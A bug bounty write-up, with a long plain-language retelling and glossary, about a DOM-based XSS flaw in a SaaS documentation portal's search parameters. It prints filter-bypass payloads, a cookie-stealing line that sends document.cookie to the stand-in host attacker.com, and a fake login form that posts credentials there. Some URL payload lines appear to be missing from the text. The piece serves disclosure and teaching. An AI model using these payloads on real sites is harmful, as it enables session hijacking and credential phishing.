DOM Based XSS bug bounty writeup
A DOM-based XSS vulnerability existed in a documentation portal's search feature because user-controlled URL parameters were inserted into the page using innerHTML without sanitisation. An attacker could execute arbitrary JavaScript in a victim's browser, leading to session hijacking, account takeover, and phishing.
Published on hacknpentest.com
DOM-based Cross-Site Scripting (XSS) is one of the trickier vulnerability classes to find, but it consistently pays well in bug bounty programs. Unlike reflected or stored XSS, DOM-based XSS happens entirely in the browser - the server never sees the malicious payload.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a large SaaS platform that ran a public bug bounty program on HackerOne. The company name is kept redacted here per its disclosure policy. The vulnerable feature was the search function on the platform's documentation portal, which took the search term and a language selector from the URL:
https://docs.redacted.com/search?q=test&lang=en
Normally the page reads q and lang from the query string and renders a heading such as "Search results for: test (en)". The documentation portal shared the same domain and cookie scope as the main application, which matters for the impact discussion below.
Setup
The work was done from a browser with the developer tools open, reading the site's JavaScript bundle. No special accounts, roles or tool versions are described beyond that; the researcher notes that DOM Invader (part of Burp Suite) is useful for this kind of work, but the discovery here came from manual source review. The payload executes when a victim loads the crafted URL on the documentation portal.
Finding it
The first observation was that the server response looked clean. The HTML source showed the search term encoded correctly, so nothing in the markup suggested a problem. The behaviour in the browser told a different story, which is the usual signature of DOM-based XSS: the server never sees the payload, and everything happens client-side.
The researcher opened the browser developer tools and read through the main JavaScript bundle. The method is to look for sources and sinks. A source is where user-controlled data enters JavaScript, such as document.location, window.name or document.referrer. A sink is where that data is used dangerously, such as innerHTML, document.write or eval.
In the minified bundle, reformatted for readability, the pattern was this:
var searchParams = new URLSearchParams(document.location.search);
var query = searchParams.get('q');
var langFilter = searchParams.get('lang');
document.getElementById('search-heading').innerHTML =
'Search results for: ' + query + ' (' + langFilter + ')';
document.location.search is the source, and it is read straight into .innerHTML, the sink, with no sanitisation in between. Both q and lang reach the sink, so both are candidates.
Exploitation
Step 1: confirm execution with an image payload
The first test put a simple event-handler payload in q:
The page rendered and the JavaScript executed, showing an alert box. Because the raw URL parameters were parsed by client-side JavaScript and injected into the DOM, the server played no part in the vulnerability.
Step 2: probe the obvious payload and hit a filter
A more conventional payload with script tags did nothing:
Investigation showed a basic client-side filter that stripped <script> tags from the URL parameters before some operations. The filter was incomplete: it matched only the literal strings <script> and </script>. This is blocklist filtering rather than output encoding, and blocklists of this shape are easy to walk around.
Step 3: bypass the filter with other elements
Because only script tags were blocked, any other HTML element with an event handler worked. Three payloads were tried:
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
The img payload was chosen because it fires automatically without user interaction. The lang parameter was vulnerable in the same way:
Step 4: build a payload that shows real impact
For the report, an alert() was not enough. The researcher crafted a payload that reads the session cookie and sends it to an attacker-controlled server:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
URL-encoded as the full exploit URL:
The researcher verified this against their own test account: the session cookie arrived at the controlled server and could be used to take over the session.
Step 5: demonstrate a phishing variant
To show a second kind of impact, the payload was also used to replace the page body with a fake login form:
document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="email" placeholder="Email"><input name="pass" type="password" placeholder="Password"><button>Log In</button></form>';
The report showed the payload could modify page content to create a convincing phishing form.
Root cause
The mistake is the direct assignment of user-controlled URL parameters into innerHTML. innerHTML parses its input as HTML, so any markup in q or lang becomes part of the document and event handlers execute in the page's origin. The server-side encoding seen in the HTML source is irrelevant here because the value never travels through the server: the browser reads it from location.search and writes it into the DOM itself.
The only defence in place was a client-side blocklist that removed the literal <script> and </script> strings. It did not stop other elements with event handlers, and it did nothing about the underlying sink.
Impact
The report lists the following consequences, all conditional on a victim loading the crafted URL:
- Session hijacking, by stealing cookies that are not marked httpOnly.
- Account takeover, by reusing a stolen session to access the user's account.
- Phishing, by replacing page content with a fake login form under the legitimate domain.
- Data theft, by reading sensitive information from the DOM after the user logs in.
- Malware delivery, by redirecting users to malicious downloads.
Severity was raised by the fact that the documentation portal shared the same domain and cookie scope as the main application. The report template listed the severity as High (CVSS 7.1).
Fix
The security team triaged the report within 24 hours and confirmed the vulnerability the same day, classifying it as High. The fix was deployed within a week. It replaced innerHTML with textContent for all user-controlled values, so the parameters are inserted as text rather than parsed as HTML, and it added Content Security Policy headers as a defence-in-depth measure.
The remediation recommended in the report is the same: use textContent (or innerText) instead of innerHTML for user-controlled values, or apply proper HTML encoding before DOM insertion. Blocklist filtering should be replaced with allowlist validation or correct encoding, and all client-side data sources, including URL parameters, fragment identifiers and referrer values, should be treated as untrusted.
Variants to test
- Other sources. Look for
location.hash,location.search,window.name,document.referrerandpostMessagedata flowing into sinks. A positive result is your marker appearing in the rendered DOM or executing when the page loads. - Other sinks. Grep bundles for
innerHTML,outerHTML,insertAdjacentHTML,document.write,eval,setTimeoutwith a string argument and jQuery'shtml(). A positive result is a source value reaching one of these without encoding. - Blocklist bypasses. When script tags are stripped, try
<img src=x onerror=...>,<svg onload=...>and<details open ontoggle=...>. A positive result is an alert or a callback to your listener. - Second parameter. Test every parameter that reaches the same sink, as
langdid here. A positive result is execution from a parameter you did not expect to be reflected. - Source maps. If source maps are exposed, read the original code instead of the minified bundle; unminified names make source-to-sink tracing much faster.
- Automation. DOM Invader in Burp Suite can flag sources and sinks automatically, and RetireJS identifies known-vulnerable libraries, but neither replaces reading the JavaScript by hand.
What happened, in plain words
A security researcher was taking part in a bug bounty programme. A bug bounty programme is a deal offered by a company: if you find a security flaw in our website and report it privately, we will pay you a reward (the bounty) instead of getting angry. The company in this story is a large software-as-a-service (SaaS) platform, meaning it sells software that customers use over the internet rather than installing on their own computers. The company's name is kept secret here because of its disclosure policy, which is the set of rules about what a researcher may say publicly and when.
The flaw was in the search box of the company's documentation portal. A documentation portal is the website where a company publishes its help pages and manuals. The search box lets a visitor type a word and see matching pages. The researcher found that this search box could be tricked into running code written by an attacker, inside the victim's own browser. That class of flaw is called cross-site scripting, or XSS for short: an attacker gets their own instructions treated as part of a trusted website, so the browser runs them as if the site itself had written them.
This particular kind is DOM-based XSS. The DOM (Document Object Model) is the browser's live, in-memory model of the page: every heading, image and button on screen is an object in that model, and JavaScript can read and change it. "DOM-based" means the dangerous step happens entirely inside the browser. The web server never sees the malicious input, so server-side protections and server logs show nothing unusual. That is what makes this family of bugs hard to spot.
The researcher reported the flaw and was paid a bounty. This article walks through the same journey in the same order: how the target was chosen, how the flaw was found by reading the site's code, how a first test confirmed it, how a filter got in the way, how the filter was walked around, how a realistic attack was built, what damage it could do, how the report was written, and how the company responded.
The target
The target was a large SaaS platform with a public bug bounty programme on HackerOne. HackerOne is a website where companies list their bug bounty programmes and researchers submit reports. The vulnerable feature was the search function on the platform's documentation portal.
The URL structure looked like this:
https://docs.redacted.com/search?q=test&lang=en
Line by line, in plain words:
https://is the secure version of the protocol browsers use to fetch web pages. The padlock in your address bar relates to this.docs.redacted.comis the address of the documentation portal.redactedstands in for the company's real name, which is hidden on purpose./searchis the path, meaning the particular page on that site: the search page.?marks the start of the query string. The query string is the part of a URL that carries small pieces of information to the page, written as name equals value pairs.q=testmeans the parameter namedqhas the valuetest. Hereqis short for query, the word being searched for.&separates one parameter from the next.lang=enmeans the parameter namedlanghas the valueen, short for English. It is a language selector.
Normally the page reads q and lang from the query string and shows a heading such as "Search results for: test (en)". The documentation portal shared the same domain and cookie scope as the main application. A cookie is a small piece of data a website asks your browser to store and send back on later requests, commonly used to remember that you are logged in. "Same cookie scope" means the cookies set for the main application are also sent to the documentation portal, because both live under the same domain. That detail matters later, when we talk about how much damage the flaw could do.
Setup
The work was done from an ordinary browser with the developer tools open, reading the site's JavaScript bundle. Developer tools are a panel built into every modern browser, usually opened with a key such as F12, that let you inspect the page, its network traffic and its code. JavaScript is the programming language that runs inside web pages and makes them interactive. A bundle is the single large file into which a site's many JavaScript files are usually packed, often squashed and shortened (minified) to load faster.
No special accounts, roles or tool versions are described beyond that. The researcher notes that DOM Invader, a tool that comes with Burp Suite (a popular toolkit for testing websites), is useful for this kind of work, but the discovery here came from reading the code by hand. The payload runs when a victim loads the crafted URL on the documentation portal. A session cookie is the cookie that proves to the site who you are after you log in; if someone else gets a copy of it, they can often act as you.
Finding it
The first observation was that the server response looked clean. The HTML source showed the search term encoded correctly, so nothing in the markup suggested a problem. HTML is the language in which web pages are written, and "encoded" here means special characters were turned into harmless stand-ins so they display as text rather than being treated as instructions. The behaviour in the browser told a different story, which is the usual signature of DOM-based XSS: the server never sees the payload, and everything happens on the visitor's side.
The researcher opened the browser developer tools and read through the main JavaScript bundle. The method is to look for sources and sinks. A source is where user-controlled data enters JavaScript, such as document.location, window.name or document.referrer. A sink is where that data is used in a dangerous way, such as innerHTML, document.write or eval. A useful everyday comparison: a source is the letterbox through which strangers can post things into your house, and a sink is the shredder, the stove or the open window where a posted item could cause harm. A flaw exists when something posted through the letterbox reaches the dangerous place without being checked.
In the minified bundle, reformatted for readability, the pattern was this:
var searchParams = new URLSearchParams(document.location.search);
var query = searchParams.get('q');
var langFilter = searchParams.get('lang');
document.getElementById('search-heading').innerHTML =
'Search results for: ' + query + ' (' + langFilter + ')';
Line by line:
var searchParams = new URLSearchParams(document.location.search);creates a small helper object that understands query strings.document.location.searchis the part of the current URL starting at the?, in other words the raw query string. This is the source: it is data the visitor controls, because anyone can type any URL.var query = searchParams.get('q');asks the helper for the value of theqparameter and stores it in a variable calledquery.var langFilter = searchParams.get('lang');does the same for thelangparameter, storing it inlangFilter.document.getElementById('search-heading').innerHTML = ...finds the page element whose id issearch-heading(the heading at the top of the results) and sets itsinnerHTML.innerHTMLmeans "the contents of this element, interpreted as HTML". That is the sink: whatever is assigned here is parsed as markup, not shown as plain text.'Search results for: ' + query + ' (' + langFilter + ')'builds the text by gluing fixed words together with the two values taken from the URL. The+sign joins strings together.
document.location.search is the source, and it is read straight into .innerHTML, the sink, with no sanitisation in between. Sanitisation means cleaning data before use, for example by turning < into a harmless stand-in. Both q and lang reach the sink, so both are candidates for attack.
Exploitation
Step 1: confirm execution with an image payload
The first test put a simple event-handler payload in q:
Line by line:
- The URL is the same search page as before, but the value of
qis now a piece of HTML instead of a word. <img ...>is the HTML tag for an image.src=xtells the browser to load the image from a location calledx. No such image exists, so the load will fail.onerror=alert(1)is an event handler: a piece of JavaScript the browser runs when something happens. Here the event is the image failing to load.alert(1)tells the browser to show a small pop-up box containing the number 1.&lang=enkeeps the language parameter normal.
The page rendered and the JavaScript executed, showing an alert box. Why this matters: the pop-up proves that text typed into the URL was treated as code by the browser, not as harmless text. Because the raw URL parameters were parsed by client-side JavaScript and injected into the DOM, the server played no part in the vulnerability.
Step 2: probe the obvious payload and hit a filter
A more conventional payload with script tags did nothing:
Line by line:
<script>is the HTML tag that marks the start of a block of JavaScript.alert(1)is the pop-up instruction.</script>marks the end of the block.
This is the payload most people try first, because script tags are the classic way to put code into a page. It produced no pop-up. Investigation showed a basic client-side filter that stripped <script> tags from the URL parameters before some operations. A filter is code that inspects input and removes or blocks parts it does not like. This one was incomplete: it matched only the literal strings <script> and </script>. This is blocklist filtering rather than output encoding. A blocklist is a list of things you forbid; output encoding is the safer approach of making every special character harmless so nothing can be interpreted as code. Blocklists of this shape are easy to walk around, because the list can only name the tricks its author thought of.
Step 3: bypass the filter with other elements
Because only script tags were blocked, any other HTML element with an event handler worked. Three payloads were tried:
<img src=x onerror=alert(document.domain)>
Line by line:
<img src=x ...>again asks for an image that does not exist.onerror=alert(document.domain)runs when the load fails.document.domainis the site's own address, for exampledocs.redacted.com. Showing it in the pop-up proves the code is running as part of the real site, not some unrelated page.
<svg onload=alert(document.domain)>
Line by line:
<svg>is the HTML tag for a scalable vector graphic, a kind of drawing.onload=alert(document.domain)runs as soon as the drawing has loaded, with no need for anything to fail.
<details open ontoggle=alert(document.domain)>
Line by line:
<details>is the HTML tag for a collapsible section, the kind you click to show or hide content.openmeans the section starts expanded.ontoggle=alert(document.domain)runs when the section changes between open and closed, which happens immediately because ofopen.
The img payload was chosen because it fires automatically without user interaction. That matters for a real attack: the victim only has to open the link, and does not have to click anything. The lang parameter was vulnerable in the same way:
Line by line:
- Here
qis the harmless wordtest, and the payload sits inlanginstead. document.cookieis the browser's way of reading the cookies that belong to the current page. Showing them in a pop-up proves that the injected code can reach the visitor's cookies, including the session cookie.
Step 4: build a payload that shows real impact
For the report, an alert() was not enough. A pop-up proves code runs, but it does not show what an attacker could actually do with that power. The researcher crafted a payload that reads the session cookie and sends it to an attacker-controlled server:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Line by line:
<img src=x ...>again creates an image that will fail to load.onerror="..."is the handler that runs on that failure. The quotes around the handler keep the whole instruction together as one attribute value.fetch(...)is a built-in browser function for making a network request, in other words for asking a server for something or sending it something.'https://attacker.com/steal?c='is the address being contacted.attacker.comstands for a server the attacker controls, and/stealis a page on it that records whatever it receives.+document.cookieglues the visitor's cookies onto the end of that address, afterc=. So the cookie value travels as thecparameter of the request.
URL-encoded as the full exploit URL:
Line by line:
- This is the same payload as above, but every character that has a special meaning in a URL has been replaced by a percent code. This is called URL encoding, and it is how a browser safely carries awkward characters inside an address.
%3Cis<and%3Eis>, the angle brackets around the image tag.%20is a space.%3Dis=and%22is the double quote.%27is the single quote.%3A%2F%2Fis://, and%2Bis+.- The result is a single long address that a victim can be sent as a link. When the browser opens it, it decodes the percent codes back into the original payload, and the payload runs.
The researcher verified this against their own test account: the session cookie arrived at the controlled server and could be used to take over the session. Testing against your own account is the safe way to prove an attack works without touching anyone else's data.
Step 5: demonstrate a phishing variant
To show a second kind of impact, the payload was also used to replace the page body with a fake login form:
document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="email" placeholder="Email"><input name="pass" type="password" placeholder="Password"><button>Log In</button></form>';
Line by line:
document.bodyis the whole visible area of the page..innerHTML = '...'throws away everything currently shown and replaces it with the HTML inside the quotes.<h1>Session Expired</h1>is a large heading saying the session has expired. Phishing means tricking someone into handing over their details by pretending to be a site they trust.<form action="https://attacker.com/phish">starts a form, andactionsays where the filled-in details will be sent: the attacker's server.<input name="email" placeholder="Email">is a text box labelled Email.<input name="pass" type="password" placeholder="Password">is a password box, which hides what is typed.<button>Log In</button>is the button that submits the form.
The report showed the payload could modify page content to create a convincing phishing form. The victim sees the real site's address in the address bar, which is exactly why this kind of fake form is convincing.
Root cause
The mistake is the direct assignment of user-controlled URL parameters into innerHTML. innerHTML parses its input as HTML, so any markup in q or lang becomes part of the document and event handlers execute in the page's origin. The origin is the combination of protocol, domain and port that the browser uses to decide which page may touch which data; code running in the site's origin is treated as the site itself. The server-side encoding seen in the HTML source is irrelevant here because the value never travels through the server: the browser reads it from location.search and writes it into the DOM itself.
The only defence in place was a client-side blocklist that removed the literal <script> and </script> strings. It did not stop other elements with event handlers, and it did nothing about the underlying sink. A Content Security Policy is a set of instructions a site sends to the browser saying which sources of code are allowed to run, so even if an attacker slips code in, the browser refuses to execute it.
Impact
The report lists the following consequences, all conditional on a victim loading the crafted URL:
- Session hijacking, by stealing cookies that are not marked httpOnly. The httpOnly flag tells the browser to keep a cookie away from JavaScript; without it, code on the page can read the cookie and send it elsewhere.
- Account takeover, by reusing a stolen session to access the user's account.
- Phishing, by replacing page content with a fake login form under the legitimate domain.
- Data theft, by reading sensitive information from the DOM after the user logs in.
- Malware delivery, by redirecting users to malicious downloads.
Severity was raised by the fact that the documentation portal shared the same domain and cookie scope as the main application. In other words, a flaw on a help page could expose the login of the main product. The report template listed the severity as High (CVSS 7.1). CVSS is a standard scoring system for the severity of a security flaw, where higher numbers mean more serious.
Fix
The security team triaged the report within 24 hours and confirmed the vulnerability the same day, classifying it as High. Triaged means they read it, checked it and decided how serious it was. The fix was deployed within a week. It replaced innerHTML with textContent for all user-controlled values, so the parameters are inserted as text rather than parsed as HTML, and it added Content Security Policy headers as a defence-in-depth measure. Defence in depth means adding a second, independent layer of protection in case the first one ever fails.
The remediation recommended in the report is the same: use textContent (or innerText) instead of innerHTML for user-controlled values, or apply proper HTML encoding before DOM insertion. Blocklist filtering should be replaced with allowlist validation or correct encoding, and all client-side data sources, including URL parameters, fragment identifiers and referrer values, should be treated as untrusted. An allowlist is the opposite of a blocklist: instead of naming what is forbidden, it names exactly what is permitted and rejects everything else. A fragment identifier is the part of a URL after a # sign, often used to jump to a section of a page. The referrer value is the address of the page a visitor came from, which the browser can report to the next site.
Variants to test
If you want to look for similar flaws yourself, these are the variations worth trying. Each one comes with what a positive result looks like.
- Other sources. Look for
location.hash,location.search,window.name,document.referrerandpostMessagedata flowing into sinks.location.hashis the fragment identifier,window.nameis a name a page can give its own window, andpostMessageis the browser's built-in way for pages to send messages to each other. A positive result is your marker appearing in the rendered DOM or executing when the page loads. - Other sinks. Grep bundles for
innerHTML,outerHTML,insertAdjacentHTML,document.write,eval,setTimeoutwith a string argument and jQuery'shtml(). To grep is to search text for a word or pattern.outerHTMLandinsertAdjacentHTMLare other ways of writing HTML into the page,document.writewrites directly into the page as it loads,evalruns a string as code, and jQuery is a widely used JavaScript library whosehtml()function behaves likeinnerHTML. A positive result is a source value reaching one of these without encoding. - Blocklist bypasses. When script tags are stripped, try
<img src=x onerror=...>,<svg onload=...>and<details open ontoggle=...>. A positive result is an alert or a callback to your listener. A callback here means your own server receiving a request from the victim's browser, which proves the code ran. - Second parameter. Test every parameter that reaches the same sink, as
langdid here. A positive result is execution from a parameter you did not expect to be reflected. - Source maps. If source maps are exposed, read the original code instead of the minified bundle; unminified names make source-to-sink tracing much faster. A source map is a file that maps squashed, minified code back to the readable original, and it is sometimes left publicly accessible by mistake.
- Automation. DOM Invader in Burp Suite can flag sources and sinks automatically, and RetireJS identifies known-vulnerable libraries, but neither replaces reading the JavaScript by hand.
Glossary
- Allowlist: a list of exactly what is permitted; anything not on the list is rejected.
- Blocklist: a list of things that are forbidden; anything not on the list is allowed through.
- Bug bounty programme: a scheme where a company pays researchers who privately report security flaws.
- Bundle: the single large file into which a website's JavaScript is usually packed, often minified.
- Callback: a request sent from the victim's browser to a server the tester controls, used as proof that code ran.
- Content Security Policy (CSP): instructions a site sends to the browser saying which sources of code may run.
- Cookie: a small piece of data a site asks the browser to store and send back on later requests, often used to remember a login.
- Cross-site scripting (XSS): a flaw where an attacker's instructions are treated as part of a trusted website and run in a victim's browser.
- CVSS: a standard scoring system for the severity of a security flaw; higher numbers mean more serious.
- Defence in depth: adding a second, independent layer of protection in case the first fails.
- Developer tools: a panel built into browsers for inspecting a page, its code and its network traffic.
- Disclosure policy: a company's rules about what a researcher may say publicly about a reported flaw, and when.
- DOM (Document Object Model): the browser's live, in-memory model of the page, which JavaScript can read and change.
- DOM-based XSS: XSS where the dangerous step happens entirely in the browser, so the server never sees the payload.
- Documentation portal: the website where a company publishes its help pages and manuals.
- Event handler: a piece of JavaScript attached to an element that runs when something happens, such as an image failing to load.
- Filter: code that inspects input and removes or blocks parts it does not like.
- Fragment identifier: the part of a URL after a
#sign, often used to jump to a section of a page. - HackerOne: a website where companies list bug bounty programmes and researchers submit reports.
- HTML: the language in which web pages are written.
- httpOnly: a cookie flag that stops JavaScript from reading that cookie.
- innerHTML: a property that sets an element's contents and parses them as HTML.
- JavaScript: the programming language that runs inside web pages and makes them interactive.
- Minified: squashed and shortened code, made smaller so it loads faster but harder to read.
- Origin: the combination of protocol, domain and port that decides which page may touch which data.
- Parameter: a name and value pair carried in a URL, such as
q=test. - Payload: the piece of input an attacker uses to trigger a flaw.
- Phishing: tricking someone into handing over details by pretending to be a site they trust.
- Query string: the part of a URL after the
?that carries parameters. - Referrer: the address of the page a visitor came from, which the browser can report to the next site.
- Sanitisation: cleaning data before use so it cannot be interpreted as code.
- SaaS (software as a service): software sold as a service used over the internet rather than installed locally.
- Session cookie: the cookie that proves to a site who you are after you log in.
- Sink: a place in code where data is used in a dangerous way, such as
innerHTML. - Source: a place in code where user-controlled data enters, such as the URL.
- Source map: a file that maps minified code back to the readable original.
- textContent: a property that sets an element's contents as plain text, never parsed as HTML.
- Triaged: read, checked and classified by a security team.
- URL encoding: replacing characters that have special meaning in a URL with percent codes so they can travel safely.
- XSS: see cross-site scripting.